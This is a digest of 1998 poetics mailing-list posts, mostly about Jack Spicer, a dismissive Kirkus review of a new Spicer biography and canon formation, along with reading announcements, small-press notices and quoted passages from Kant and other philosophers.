On Thu, 28 May 1998, Maria Damon wrote:

> *no contemporary scholar of the humanities would be*
> *caught dead saying anything as pathetically vapid as "time will tell."*

Oh, I don't know. I think the humanities are full of "scholars" with such faith in the winnowings of history. Whether they'd actually _say_ it is another thing, but I think plenty of them _believe_ it.

Cheers,
David
~~~
~~~

provide a priori, and by which it becomes, so to speak, master of nature; whereas pure philosophy is all at sea when it seeks through a priori discursive concepts to obtain insight in regard to the natural world, being unable to intuit a priori (and thereby to confirm) their reality. Nor does there seem to be, on the part of the experts in mathematics, any lack of self-confidence as to this procedure-or on the part of the vulgar of great expectations from their skill-should they apply themselves to carry out their project. For, since they have hardly ever attempted to philosophise in regard to their mathematics (a hard task!), the specific difference between the two employments of reason has never so much as occurred to them. Current empirical rules, which they borrow from ordinary consciousness, they treat as being axiomatic. In the question as to the source of the concepts of space and time they are not in the least interested, although it is precisely with these concepts (as the original quanta) that they are themselves occupied. Similarly, they think it unnecessary to investigate the origin of the pure concepts of understanding and in so doing to determine the extent of their validity; they care only to make use of them. In all this they are entirely in the right, provided only they do not overstep the proper limits, that is, the limits of the natural world. But, unconsciously, they pass from the field of sensibility to the precarious ground of pure and even transcendental concepts, a ground (instabilis tellus, inabilis unda) that permits them neither to stand nor to swim, and where their hasty tracks are soon obliterated. In mathematics, on the other hand, their passage gives rise to broad highway, which the latest posterity may tread with confidence." "...It therefore becomes necessary to cut away the last anchor of these fantastic hopes, that is to show that the pursuit of the mathematical method cannot be of the least advantage in this kind of knowledge (unless it be in exhibiting more plainly the limitations of the method); and that mathematics and philosophy, although in natural science they do, indeed, go hand in hand, are none the less so completely different, that the procedure of one can never be imitated by the other."---from The Critique of Pure Reason by Immanuel Kant---cp

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694. lee ann brown

Re: Wmsburg room

Thu 28 May 1998

Dear Poets and others who may be heading toward or are already homeless in Big Apple- A friend, poet Paul Long just asked me if I knew of anyone that wanted to sublet a share in his Williamsburg apt- $550 month, 3rd stop on L train into Williamsburg. So if this helps-you or anyone in the NYC area- call him at [redacted]. Lee Ann Brown

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695. Maria Damon
Re: The Bloated Professoriate (vs. Spicer)
Thu 28 May 1998

---

hi david!

At 2:42 PM -0400 5/28/98, David Kellogg wrote:
>On Thu, 28 May 1998, Maria Damon wrote:
>
>> no contemporary scholar of the humanities would be
>> caught dead saying anything as pathetically vapid as "time will tell."
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>Oh, I don't know. I think the humanities are full of "scholars" with
>such faith in the winnowings of history. Whether they'd actually _say_
>it is another thing, but I think plenty of them _believe_ it.
>
>Cheers,
>David
>~~~

Anyway, I don't think JS has been doing too badly in the readership dept. - outside of the English Dept. (of the spirit), that is. I'm not sure in "the trial of rigorous critical appraisal" he doesn't end up sentencing judge, prosecution, and defense.

> sort of funny, too, that he's now a genuIne Beat poet,
> just by virtue of having been writing in SFCA at the
> time - purely circumstantial evidence, if you ask me.

chris - a nonsense syllable invented by the poet

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

697. henry
Re: The Bloated Professoriate (vs. Spicer)
Thu 28 May 1998

The "classic" bit is complicated by the fact that Willa Cather consciously worked for it. She was expert in Latin, loved Virgil, & aimed for a "classic" restraint, clarity & proportion - like Frost - another anomaly in the canon -

- Henry G.

↑ Index

698. Simon/Piombino
Stuttering
Thu 28 May 1998

"Dear Rachel, about aphasia you're right, but she was she and really

Roman Jakobson

had it, unlike Mark who first suggested it years ago as an idea

language forgotten this theory, this disease as metaphor

about poetry, how it is written anyway, of course it was right

stutterer

for me child, one day I would meet a real one, some

silent
contiguity disorder

whether the wind blew through. she was tattered. a presence."

(from "A Reading 1-7" by Beverly Dahlen)

-Nick Piombino

↑ Index

699. **Maria Damon**
rePartch
Thu 28 May 1998

---

could someone please repost or backchannel me the email address to contact if we're interested in the Partch collection? i've been asked to forward it to someone at U Wisconsin-Milwaukee. thanks in asap advance --md

↑ Index

700. **M. L. Weber**
call for prose submissions by women
Thu 28 May 1998

Sugar Mule, a literary magazine, still needs prose (any genre) for its fourth issue. Please send via ascii or MS Word attachment by June 15th to:

[redacted]

Previous issues have included Jane Augustine, Kate Wheeler, Lance Olsen, Pierre Joris, Paul Hoover, Rochelle Ratner and Michael Heller.

↑ Index

701. **Brian Clements**
Best Texas Writing 1 available
Thu 28 May 1998

This is just a brief notice that our anthology of Texas literature,_Best Texas Writing 1_, will be available in mid-June.

Best Texas Writing 1 features work by the following authors:

Poetry by Bruce Bond, Gerald Burns, Michelle Byrne, Lyman Grant, Albert Huffstickler, B.D. Love, Jack Myers, Isabel Nathaniel, Naomi Shihab Nye, Kathleen Peirce, James Michael Robbins, Patiann Rogers, and William Wenthe.

Fiction by Chris Haven, Molly Moynahan, Paul Ruffin, and Daryl Scroggins.

Essays and journalism by Jeff Davis, Clay Reynolds, Paul Sampson, Frederick Turner, Marion Winik, and Bryan Wooley.

If you'd like to beat the rush, you can order now. Copies are $15, postpaid, and we will ship to you on a priority basis the minute we get books. If you prefer to wait, you can pick up a copy starting in July via Amazon.com. Prices are the same either way. If you are at all interested, I encourage you to order early as we have received such considerable interest in-state that we anticipate selling out the first print run fairly quickly.

It is probably worth mentioning again that no one at Rancho Loco Press takes a salary and that all proceeds from BTW will be plowed back into publishing contemporary literature.

To order, send a check or money order to:

Rancho Loco Press
1920 Abrams Parkway #382
Dallas TX 75214-3915

Best wishes,
Brian Clements and Joe Ahearn at Rancho Loco Press

↑ Index

702. **dbkk**
Vs. Spicer
Fri 29 May 1998

Hi everyone it's Kevin Killian. Naturally interested in the discussion around Spicer. And very thrilled because the people from Wesleyan sent me an advance copy of the book the other day . . . so I can carry it around on buses, etc., make people want to read it. They say it will be in the stores in 2 weeks. (This book, for list members who are curious, is "Poet Be Like God: Jack Spicer and the San Francisco Renaissance," by me and Lewis Ellingham.)

Anyway, yes, it is disheartening that Kirkus Reviews printed the paragraph it did--even more so that Amazon.com features this review right under the part where it says, "Find out more about this book"! There's an equally dismissive review in "Library Journal," which covers not only my book but Peter Gizzi's edition of Spicer's lectures "The House that Jack Built" (also from Wesleyan), noting that Lew, Peter and I all live in California and *that's* why we are working under the assumption of Spicer's worth when he's so unpleasant. This review was signed, by David Kirby, Florida State University, Tallahasse, and I'd appreciate directions to his house if anyone has them. To send him ninjas, etc. under cover of the great Florida night.

However Publishers Weekly printed a great review, written by a young New York poet (of genius)--my new best friend--a man with astute vision and discernment--a man I plan to marry within the next few months . . . just kidding . . . but only a little . . .

What are you going to do? These reviews are indeed based, as Maria has said, on the aversion of the reviewers to something new, and they find it preposterous that a man they have never heard of is having whole books written about him. This shaking up of the canon is kind of discomfiting, I suppose. Wesleyan could have published a life of John Berryman instead, but no, they are gambling, perhaps, on Jack Spicer.

The man of the hour. I appreciated the Lingua Franca article "Radiohead" much more than did Mark Prejsnar . . . The writer, John Palatella, had to address a general intellectual audience, perhaps one largely unfamiliar with poetry, and he did a bang up job IMHO. Always I've wanted to appear in "Lingua Franca," but, not being in the academy saw little chance of it, having no students to harass, etc.

Jumping on band wagon, "Grand Street" will be printing two of the newly discovered Spicer poems in their next issue to appear momentarily. So that's good news.

I am so happy that the biography is finally on the verge of appearing. Over the years I've bugged everyone on the list asking for help of one kind or another, and so many of you came through for me, and therefore let me thank all of you for your kindness and forebearance and aid. Even those of you who never post any more, be happy for me, XXX Kevin K.

↑ Index

703. Dan Machlin
Hofer/Machlin atZinc
Fri 29 May 1998

Jen Hofer
Dan Machlin

reading + new joint chapbook

Tuesday, June 2nd, 1998, 6:30 pm
Zinc Bar, New York, NY 90 W. Houston, $3.00

↑ Index

704. **George Bowering**
Re: The Bloated Professoriate (vs. Spicer)
Fri 29 May 1998

> *They both assume, because of their own ignorance, that Spicer is unimportant and unknown. Their familiarity with the contemporary poetry scene is (to put it kindly) minimal.*

Apparently this has been going on for years. I remember that in the 60s it was pretty well a given in Canada that the important current US poets were like Olson, Creeley, Levertov, Spicer, Duncan. But then we would find out that in the US universities these people were either unknown or thought to be marginal. I wd hear of US academics who thought US poetry was a bunch of other people I had barely heard of, like Merwin and so on.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

705. **nuyopoman**
RapPo
Fri 29 May 1998

For yr rappin poetry delectations,

In United States of Poetry you'll find Michael Franti, D-Knowledge, Tracie Morris, Lord Buckley. In ALOUD there's RegE Gaines among many others. The Last Poet's newest, "Time Has Come,"digs into ur-rap-po connects. For most recent: Eargasms, from the Brooklyn Moon scene, has Saul Wiliams, Ra Goddess, and Mike Ladd (who also has an album on Scratchy).

Bob Holman

↑ Index

706. **F. W. Perrella**
5_trope - Web Del Sol
Fri 29 May 1998

You're invited to examine the current issue of

5_trope, a bleeding-edge prose and poetry zine headquartered at Web Del Sol.

http://webdelsol.com/5_trope

Gordon Lish, John Yau, and M. Sarki are among the current issue's

contributors.

Your email feedback is encouraged. Thanks.

↑ Index

707. **rsillima**
Spicer, Kirkus, etc
Fri 29 May 1998

I'm not a professor, but I've been bloated in my time.

Michael Coffey, who last I heard was still a list member here, works (or worked) for either Kirkus or Publishers Weekly. If the former, maybe he would have some insight into that bit of silliness. My own take is that the whole piece reflects a pretty common reviewer's anxiety about his/her role - - exacerbated by the fact that they know they don't understand the work -- which they try to resolve by writing as though "above" the subject.

As to the dismissal of Spicer, the book itself recounts the reaction of Ferlinghetti in like mind. People who don't pay attention to poetry really have no idea what these fault lines are. I can parody Creeley, say, in a company newsletter ("If you were going to join the 'net, what kind of PC would you get?") and no one will ever catch the reference. Think of how your parents and grandparents must have thought of Stein.

Speaking of which, good to see her boy Charles on the list again!

Ron Silliman

↑ Index

708. **Susan Wheeler**
Book Party
Fri 29 May 1998

Listees in the neighborhood are invited to a party for the publication of Smokes, my collection from Four Way Books, on Tuesday, June 2, 6:30 - 8:30 at Teachers & Writers Collaborative, 5 Union Square West.

Speaking of PW, its review of Smokes opens: "Often a dance of malapropism, jarring surrealist and pop imagery, violent pastiche and merciless non sequiturs, Wheeler's second book falls somewhere between John Ashbery and Charles Bernstein in its high-end schtick appropriation and baroque, metaphysical strains." Apologies to both!

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

709. **Erik Sweet**
Bookstores for Cheap
Fri 29 May 1998

Hello, Just a few months ago, somebody at a bookstore in Maine posted
that they offered a discount to poetics list members-
Backchannel me with a phone number/address please -

"All MC's are Poets" erik sweet

p.s. Jordan Davis wake up and get back to me about that day in August--

↑ Index

710. **Maria Damon**
Re: Vs. Spicer
Fri 29 May 1998

---

hiya kev; i'm excited to get MY copy from wesleyan, hasn't arrived yet...but i've been teaching spicer and a bunch of students are writing final papers on him (ugrads, so don't get all excited), i delight in turning on a handful of young minnesotans every year...don't worry abt those stupid reviews, i mean, whaddya gonna do. these folks wouldn't even know that spicer was unpleasant if you hadn't written that book; they wouldn' even know the name. big fat congrats!

At 10:15 PM -0700 5/28/98, [redacted] wrote:
>Hi everyone it's Kevin Killian. Naturally interested in the discussion
>around Spicer. And very thrilled because the people from Wesleyan sent me
>an advance copy of the book the other day . . . so I can carry it around on
>buses, etc., make people want to read it. They say it will be in the
>stores in 2 weeks. (This book, for list members who are curious, is "Poet
>Be Like God: Jack Spicer and the San Francisco Renaissance," by me and
>Lewis Ellingham.)
>
>Anyway, yes, it is disheartening that Kirkus Reviews printed the paragraph
>it did--even more so that Amazon.com features this review right under the
>part where it says, "Find out more about this book"! There's an equally
>dismissive review in "Library Journal," which covers not only my book but
>Peter Gizzi's edition of Spicer's lectures "The House that Jack Built"
>(also from Wesleyan), noting that Lew, Peter and I all live in California

>and *that's* why we are working under the assumption of Spicer's worth when
>he's so unpleasant. This review was signed, by David Kirby, Florida State
>University, Tallahasse, and I'd appreciate directions to his house if
>anyone has them. To send him ninjas, etc. under cover of the great Florida
>night.
>
>However Publishers Weekly printed a great review, written by a young New
>York poet (of genius)--my new best friend--a man with astute vision and
>discernment--a man I plan to marry within the next few months . . . just
>kidding . . . but only a little . . .
>
>What are you going to do? These reviews are indeed based, as Maria has
>said, on the aversion of the reviewers to something new, and they find it
>preposterous that a man they have never heard of is having whole books
>written about him. This shaking up of the canon is kind of discomfiting, I
>suppose. Wesleyan could have published a life of John Berryman instead,
>but no, they are gambling, perhaps, on Jack Spicer.
>
>The man of the hour. I appreciated the Lingua Franca article "Radiohead"
>much more than did Mark Prejsnar . . . The writer, John Palatella, had to
>address a general intellectual audience, perhaps one largely unfamiliar
>with poetry, and he did a bang up job IMHO. Always I've wanted to appear
>in "Lingua Franca," but, not being in the academy saw little chance of it,
>having no students to harass, etc.
>
>Jumping on band wagon, "Grand Street" will be printing two of the newly
>discovered Spicer poems in their next issue to appear momentarily. So
>that's good news.
>
>I am so happy that the biography is finally on the verge of appearing.
>Over the years I've bugged everyone on the list asking for help of one kind
>or another, and so many of you came through for me, and therefore let me
>thank all of you for your kindness and forebearance and aid. Even those of
>you who never post any more, be happy for me, XXX Kevin K.

↑ Index

711. **Maria Damon**
Re: Spicer Review
Fri 29 May 1998

At 4:56 PM -0400 5/29/98, DANIEL L. COLLIER wrote:

> *How about "The Poetics List Reviews" submissions to places like Amazon (which offers the--presumably heavily moderated--option to review books yourself)?*
>
> *Danny*
> [redacted]

now this is a truly useful idea. anybody got any ideas abt how to make such a thing happen?

↑ Index

712. **Mark Prejsnar**

kenning..a review

Fri 29 May 1998

Folks should check out the new mag, Kenning. The first issue is very impressive...Nine poets and every one's worth paying attention to. Mark Wallace has 3 very acrid, spiky poems, which are in large part different from other work of his I've seen (tho' there are points of comparison). Since his various projects in chapbooks and mags all seem rather different from each other, but all urgent...It's very impressive folks. Juliana Spahr has something neat, language working out its own partial critique of itself (the strategy of her book Response). My fellow @lantan John Lowther has what I consider one of his best things, which builds a musically-driven counter-narrative around fragments of Proust.

But my favorite, or at least the newest and most piquant, are the word-square acrostic-derivation procedural sonnets by Dan Zimmerman. (Believe me, it would take too long: get the issue and see 'em)

Editor Durgin has a meditation on poetix which is worth reading, and the graphic on the cover (neo 1917 parasoviet futurism) is really neat.

Things by John Kinsella and Stephen Ellis (whose blockish circumpolitical meditational poems almost bog down in their playfully lugubrious diction, but don't; and make an important foil for Wallce's existential alienational leftism...) ..those are also top notch.

And all the poets I haven't mentioned are above the norm.

As someone who's been doing this sort of thing for a while now I think this one is starting off brilliantly.

the details:

kenning
Patrick Durgin (checks payable to him)
418 Brown St., #10
Iowa City, IA 52245

$4 for issue one
$5 for issue two
$9.50 for subscription

--Mark Prejsnar
@lanta

↑ Index

713. **Douglas Barbour**
Re: Spicer
Fri 29 May 1998

If these reviewers/writers don't know about Spicer it may be that they 'know' what little of contamporary poetry they know through such anthologies as the regular Norton, where Spicer is non-existant. If such anthologies create the canon as 'the' academy knows it (after all some of us who admire & love Spicer are in 'some' academy, neh?), then their ignorance of his work & his influence is not hard to understand. I seem to remember some comments about how difficult it is to put Spicer in any anthology awhile back, but one of the shorter serial poems, something like _A Red Wheelbarrow_, or one of the series from _A Book of Magazine Verse_, or ne of the 'books' from _The Holy Grail_ would at least give something of his work's flavour... Not that anthologies are the best teaching tool, but they sure are the major one, & Spicer's absence in the ones most used helps explain such comments as have been reproduced here recently...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

the absences we have known. Oceans.
so we are distinguished to ourselves
don't want that distinction.
I am afraid. I said that. I said that
for you.
Phyllis Webb

↑ Index

714. Prageeta Sharma
brooklyn reading
Fri 29 May 1998

Hi everyone! Please come hear katy lederer, vikas menon, and camille guthrie read poetry on sunday, may 31, at the fall cafe @3pm, 307 smith street. Take the f or g train to Carroll street station and walk a block! thanks, see you there, Prageeta

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715. Mark Prejsnar
Jonathan Brannen..
Fri 29 May 1998

I've been reading Jonathan Brannen's The Glass Man Left Waltzing, which is a little recent chapbook from Meow Press. I recommend that people check it out. It's a single long poem "occasioned by the centenial of Whitman's death." WW is bigness and broad gestures, for better and for worse. (Also somewhat small ones sometimes, that's what a lot of people miss...But the first point stands) I'd say Brennan's words try to encompass that largeness and breadth by wrapping around it...by twisting and turning. As physical movement and phrasal turn, the best descriptor for the verse might be, loosened-up Zukofsky. Very shiftingly, like refections in water (a haunting image thru-out the poem) sections and riffs glance off walt's obsessive themes: the sensual body, death, sex, war's violence. Interesting spiral of the verse.

after roaming many pavements
in some deep recesses
far from the clank intervals
grazing the hirsute stars
time compacts mystery
and modern reports
this is life
come to the surface
underfoot overhead sun

A very adroit & gripping poem. Worth seeing.

Mark P.

↑ Index

716. **morpheal**
Re: mythology [followed by DADDY, construction, and silence]
Fri 29 May 1998

> *situation- all he does is pre-program hits by Bowie , The Police etc and re-represent them-People don't care- originality,....*

All of that then becomes another small part of the sonic jungle, where the deconstruction and destruction of sense of meaning becomes normative.

What is important is that the "work of art" is an essentially disassociative scramble of what is essentially a concatenation of ideas from someone else's minds. It is not a "new creation" but a violent deconstruction of previous creations that were created by others. That becomes the essence of it.

Keep in mind also that we live on a planet where a large portion of its inhabitants despises every element of our artistic culture, and particularly the lyrics of our music. They have technology also. They are not cave dwellers.

So, I sometimes wonder if we are at war.....in a new sense of that.

> *Is our culture mimicing technology by moving in circles and borrowing "retro" styles and bringing things back from the 70s (such as Kraftwerk and disco culture)or are we standing still?*

Any fragment can be made into a circle.

Is technology mimicking culture, but according to its own designs ?

That would be a better question.

M.

↑ Index

717. **William Burmeister Prod**
Re: Vs. Spicer
Fri 29 May 1998

> *Hi everyone it's Kevin Killian. Naturally interested in the discussion around Spicer...*
> *Anyway, yes, it is disheartening that Kirkus Reviews printed the paragraph it did--even more so that Amazon.com features this review right under the part where it says, "Find out more about this book"! There's an equally dismissive review in "Library Journal," which covers not only my book but Peter Gizzi's edition of Spicer's lectures "The House that Jack Built"*

> *(also from Wesleyan), noting that Lew, Peter and I all live in California and *that's* why we are working under the assumption of Spicer's worth when he's so unpleasant.*
>
> *This review was signed, by David Kirby, Florida State University, Tallahasse, and I'd appreciate directions to his house if anyone has them. To send him ninjas, etc. under cover of the great Florida night.*

Let me know when you find out where the dastardly fellow is--I'll dispatch some hoplites to lick 'em--should be there by nightfall.

William

↑ Index

718. **R. Gancie**

'*the study of the self has been objectified*'

Fri 29 May 1998

"Epistemology aims, of course, at intersubjective and, if possible, objective knowledge. But if knowledge of the self, in an objective sense, is impossible, then epistemology as an objective science would be impaired. The concept of objective self-knowledge would be self-contradictory, inconsistent, a vicious circle. This argument was put forth by Kant. He maintained, for instance, that "I cannot obtain the least representation of a thinking being by means of external experience, but solely through self-consciousness." This might have been true in Kant's time. Until recently, knowledge of the self was possible only through introspection. But, in the meantime, we have developed cognitive technologies which free the study of self from subjectivism. Psychology, neurobiology, artificial intelligence provide insights into the workings of the self. Although this will remain extremely difficult and although we might never get the information we want, the study of the self has been objectified."---from On Supposed Circularities in an Empirically Oriented Epistemology by Gerhard Vollmer---cp

↑ Index

719. **Erik Sweet**

Re: mythology [followed by DADDY, construction, and silence]

Fri 29 May 1998

In a message dated 5/29/98 10:27:35 AM, you wrote:

<<All of that then becomes another small part of the sonic jungle, where the deconstruction and destruction of sense of meaning becomes normative.

What is important is that the "work of art" is an essentially disassociative scramble of what is essentially a concatenation of ideas from someone else's minds. It is not a "new creation" but a violent deconstruction of previous creations that were created by others. That becomes the essence of it.>>

I think I made that pretty clear by stating that current artists are sampling and have been for decades, other ideas...as far as an "essentially disassociative scramble of what is essentially a concatention of ideas from someone else's minds"

wouldn't it be easier to just say "borrowing"?

<<Keep in mind also that we live on a planet where a large portion of its inhabitants despises every element of our artistic culture, and particularly the lyrics of our music. They have technology also. They are not cave dwellers>>

To say that a large portion of earth' s inhabitant's despises "every element of our artistic culture" to to presuppose that "our" means art as you see it, I see "They" as a classic "duality" situation an (us vs them mentality-) as far as people on this planet despising art, "they" probably should, as it as defined as "our artistic culture" shouldn't matter to anyone outside the "local community-"

Who are "They who have technology and are not cave dwellers" I am not following how this had anything to do with my reference to Puff Daddy and sampling...

So, I sometimes wonder if we are at war.....in a new sense of that.
>>

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720. **Mark Weiss**
Re: Spicer Review
Fri 29 May 1998

After each book Amazon lists the options.

At 08:46 AM 5/29/98 -0500, you wrote:
>At 4:56 PM -0400 5/29/98, DANIEL L. COLLIER wrote:
>
>>
>>How about "The Poetics List Reviews" submissions to places
>>like Amazon (which offers the--presumably heavily
>>moderated--option to review books yourself)?
>>
>>Danny
>>[redacted]

>>[redacted]
>>
>
>now this is a truly useful idea. anybody got any ideas abt how to make
>such a thing happen?
>
>

↑ Index

721. **MAYHEW**
How to be great
Fri 29 May 1998

Was Spicer antisemitic? This comes as news to me. I would like to think the Kirkus review (which I have not seen) is a parody but it probably isn't.

For those interested in recent Spanish poetry--my article entitled "How to be Great: Canonical Strategies in Recent Spanish Poetry" is out in _Revista de Estudios Hispanicos_ (May 1998). I argue that poets can get famous fast by ably imitating already canonical styles. It isn't a full fledged scholarly article, just a relatively breezy MLA talk.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas

↑ Index

722. **DANIEL L. COLLIER**
Re: Spicer Review
Fri 29 May 1998

I did a brief search to answer my own question about these Kirkus folks. From their own information, how they ever decided to review Spicer & Kharms is a mystery. Also, it's not clear how "professorial" they are; they seem to be simply in the business of generating large quantities of reviews. Kirkus excerpts appear on the web pages of several mass-market publishers and on lots 'o personal "this is my book" web pages. They are always listed as "Kirkus Reviews," with no author named.

For the curious few, I've attached a sample of what my search turned up. #1 below looks like a student response to the glorious folks at K with interesting echoes of the list's responses. #2 is promotional info about K from a web page (not their own; apparently they have no web page & someone with a related name got so many misdirected hits they posted basic Kirkus info in an attempt

to turn away queries). #3 is a sample Kirkus review which is different from the two we've discussed, yet too bizarre to pass over.

How about "The Poetics List Reviews" submissions to places like Amazon (which offers the--presumably heavily moderated--option to review books yourself)?

Danny
[redacted]

1.Posted by John Burke on March 13, 1998 at 23:36:27: In Reply to: Final posting on Tim O'Brien--PLEASE READ NOW! posted by S.H. on March 07, 1998 at 23:47:20:

The second review of In the Lake of the Woods does not do the book justice. I would like to know who wrote that review. I'm not saying I know any more about post-modernism than what we studied in class, and I can see the elements in the book. A person writing book reviews, I'm assuming, should know something about it. The reviewer simply chops the book down to the bare essentials, and then claims that there is nothing underneath. I think whoever wrote this needs to take our class and then read it again.

2.
Kirkus Reviews accepts approximately 5,000 new fiction, nonfiction, and children's titles, both hardcover and trade-paperback, each year for review. However, many thousands more are submitted that are not reviewed. The editors make these individual judgments based on many separate factors, including merit or potential interest.

The editors at Kirkus Reviews will consider any new fiction, nonfiction, or children's title for review in galley or other form. All submissions must be received in duplicate at least three months, preferably longer, before publication date.

Kirkus Reviews does not review the following:

- self-published books
- mass-market books
- textbooks
- specialized, technical or professional works.

Kirkus Reviews very rarely reviews the following:

- reprints
- picture-albums
- books of lists

compendiums of information (travel guides, etc.)
instructional manuals
self-help books
academic works directed chiefly to an academic audience

More Information

For additional guidelines, a sample issue of Kirkus Reviews, or information as to the status of a title already submitted, please fax your request to MARY DALEY, Assistant to the Editors, at [redacted].

3.
Review of Ron Dakron's _Hammers_, from Mr. Dakron's web page. Kirkus Reviews, August 15, 1997:

"Ne plus ultra bizarre, man! With cartilaginous prose, soft as fishbone, sense-bending and scattershot as a Robin Williams shtick where lost meanings blast by, Dakron's third [novel] follows the comet trails of Infra and Newt with a morphological plot out of Ovid by way of Kafka."

↑ Index

723. Kristen Gallagher
pound online?
Fri 29 May 1998

---

wondering if anyone knows if _the cantos_ can be found online? i have the book - but would like to word search on line if possible.

help!?

↑ Index

724. Brian Clements
McHenry query
Fri 29 May 1998

Hello List,

Does anyone have a mailing address for Eric McHenry?

Thanks,
Brian Clements

~~~
~~~

725. joel lewis
f.yi.
Fri 29 May 1998

Use of Hitler in Thai snack advertisement slammed

BANGKOK, May 29 (Reuters) - Israeli embassy officials on Friday said the use of German tyrant Adolf Hitler in an advertising campaign for potato crisps in Thailand was ``disgusting.''

The campaign on local Thai television shows Hitler in military uniform tasting the crisps and giving the Nazi salute. The ad ends with Hitler in front of a Nazi flag as the swastika changes into the logo of the crisp brand.

``I think that the advertisement is in some ways disgusting, it's not something you laugh at. I don't laugh at it even though it is making fun of him,'' said an spokeswoman at the Israeli embassy in Bangkok.

She said the matter was being brought to the attention of senior Israeli diplomats but that they had not yet seen the two-week-old ad.

The local arm of international advertising agency Leo Burnett Worldwide Inc, which created the ad, said it was designed to be humorous.

``We have brought up the concept that Hitler or anyone who tastes the potato chips will go crazy for it,'' said a company spokesperson.

The advertising campaign was also being run in poster form around the capital city Bangkok, including on the backs of the city's trademark motorised rickshaws or ``Tuk Tuk.''
^REUTERS@

↑ Index

726. Marcella Durand
June readings at Poetry Project
Fri 29 May 1998

Two readings coming up this week at the Poetry Project, St. Mark's Church in the Bowery:

Monday, June 1st: A Reading by Kenneth Koch to celebrate the publication of his latest collection of poems, "Straits"

Wednesday, June 3rd: A Celebration of the publication of "An Anthology of New (American) Poets" with Lisa Jarnot, Eleni Sikelianos, Jordan Davis, Chris Stroffolino and many more!

Both readings are at 8 pm.
Call [redacted] for more information.

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727. Peter Balestrieri
Quo Vadis?
Fri 29 May 1998

Having read some pretty strong endorsements of Rochelle Owens' work, particularly that it is very "raw" and "wild," I queried the List to see if anyone could recommend a representative text to me. I received a number of generous responses (thanks to all) and purchased her New and Selected Poems from Junction/Mark Weiss. Mark was very helpful and I am very grateful to him. However, I do not find Owens' work to be particularly "wild" (though some was sexually explicit) and seriously disagree with the hyperbolic blurbs on the book jacket. I admire Owens' poetry but find it pretty tame in terms of form and content. To me, "wild" is Chris Alexander's n/formation (http://choengmon.lib.utah.edu/~calexand/nonce/nonce.html), Mark Peters' wonderful new site, Deluxe Rubber Chicken (http://writing.upenn.edu/epc/ezines/deluxe/), or the recent amazing posts by Alan Myouka Sondheim such as NAKED ALAN AND NIKUKO NAKED COPY AND RUN AROUND SOME FILES. This is only my opinion and I am not saying that Owens' work was not "wild" at one time or that the opinions of others on this List aren't valid. I'm saying that challenging, innovative work is all over the place, including this List, and I don't see much discussion of it somewhere that's supposed to be devoted to it. Almost no one has commented in any way (including me - I wrote to him backchannel) to/about the Sondheim posts. That's very discouraging. I'm hoping that this post will encourage people to engage in some dialog about the new work that gets ignored because it doesn't conform to an older definition of avant-garde work, one that is increasingly codified and canonized. Thanks.

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728. **david bromige**
re : susan wheeler's book (party)
Fri 29 May 1998

Susan & Fellow-Listophiles : to the charge of "merciless non sequiturs" leveled against the book _Smokes_ (and with the Kirkus review of Spicer in mind) let me quote a brief poem from my book _The Harbormaster of Hong Kong_ :

> non sequitur
>
> _____
>
> i havent got there yet

db3

↑ Index

729. **toddbaron**
Re: Love of (g-d)
Fri 29 May 1998

Kevin:

What Spicer said:
(early one)

please write yr letters in blood as the ink washes off when I've cried
into them for a week and besides Dick Tracy could do something with them...

___
As I'm sure your work will do For Jack S.

love,

Todd Baron

↑ Index

730. **Billy Little**
Re: Byrd's reply 2 Alex and droffolino's quest
Fri 29 May 1998

What the hell is holding up a Robert Duncan collected works
>including essays and all poems?
>come on, share ...
>
>erik sweet
ah he showed such promise as a youth Mr. B but then along came tenure and
he turned into a broody hen now he thinks he is the goose that laid these

golden eggs. once you obsess about intellectual property and unused the intellect fades and the hold on the property becomes a death grip, give them up Mr. B, let someone with intellect, credibility and desire get them out, withholding these
teachings should be an indictable offense, my advice the thirsty in the desert is to transcribe the tapes, they almost always taped his talks often impromptu theme raps, i remember a long riff about mothers day at... maybe i'll go get that one he probably transcribed all his lectures at Santa Cruz but maybe they've got tapes, George Butterick might have made tapes of Duncan teaching Pound, Chuck Stein might know if those exist at Storrs and give your children that medicine and they will be well heeled, nearly wheeld, My understanding, i'm no lawyer, but i've always proceeded from the idea that if you're not making a profit from it it's not breaking the copyright of course if you give away enough copies you could saturate the miniscule market, but hoarding Duncan as an academic relic you deprive him of his rightful prominence as a gay culture hero, we're talking bout the american goethe, the american rumi(i prefer to think of Blaser as the canadian rumi) and this hoarding in a boomerang hurts the estate of HD for example if i were hd's publisher i'd sue mr. b for alienation of affections, thousands of he-men will be scurrying to hilda's work once the hd book is generally available do you believe your poetry should be read or do you beleaf your poetry should make you money, sing your poems? write songs! write prayers? make ethel merman reincarnate in your diaphragm belt them chants them mantra god's way out in that tree, hanging upside down my belief includes the gospel according to Thomas where Jesus says from the middle of the round dance,"those who have not entered the dance have mistaken the act" robert duncan ought to be on a stamp, hell he aught to be on the money imagine like monroe on the fifty? duncan on the buffalo nickel. duncan said he didn't need to take drugs he looked out the window and their were faces in the trees without them what more did he want? one of the few happily married poets i've known he was mischievous some would say viscious but his brilliance was a great aid to digestion he was constantly being attacked the gay world and the poetry world both catty worlds in usa less so canada though geo bowering and brian fawcett and sharon thesen can be plenty catty so can george Stanley even roy kiyooka could be catty bp tried to be catty but it came out witty he was too generous lionel kearns stays home because he's incapable of catty his hearts too big it's an easy target frank davey couldn't lower himself to catty he and bromige are sang froid inc. which is not to say david can't be catty.

↑ Index

731. Billy Little
Re: How to be great
Fri 29 May 1998

i don't think he hated jews any more than he hated anyone or should i say everyone else i like to remember when bob marley was reading jack spicer, jim morrison had passed it on, heads of the town on to jimmy cliff who couldn't make hide nor hair of it and passed it on to reggae history, spicer's story could be filmed in noire mcclure climbing in th window and stealing billy the kid right from jack's stupourous dream fully clothed on the couch radio blaring, the renaissance never ended for jocko he ran a court he consorted with others who ran courts some overlapping they shared a love for the classics, the current enactment of the myth which they lived through dionysus or crass bacchus tubby bacchus, latin, greek, language, dante,lyric pound,epic pound, stevens, josephine miles, creeley,ginsberg, like blackburn troubadour courts, trobar clus, jack spicer was born dancing, his little blue fist wrapped around the heart of his partner.
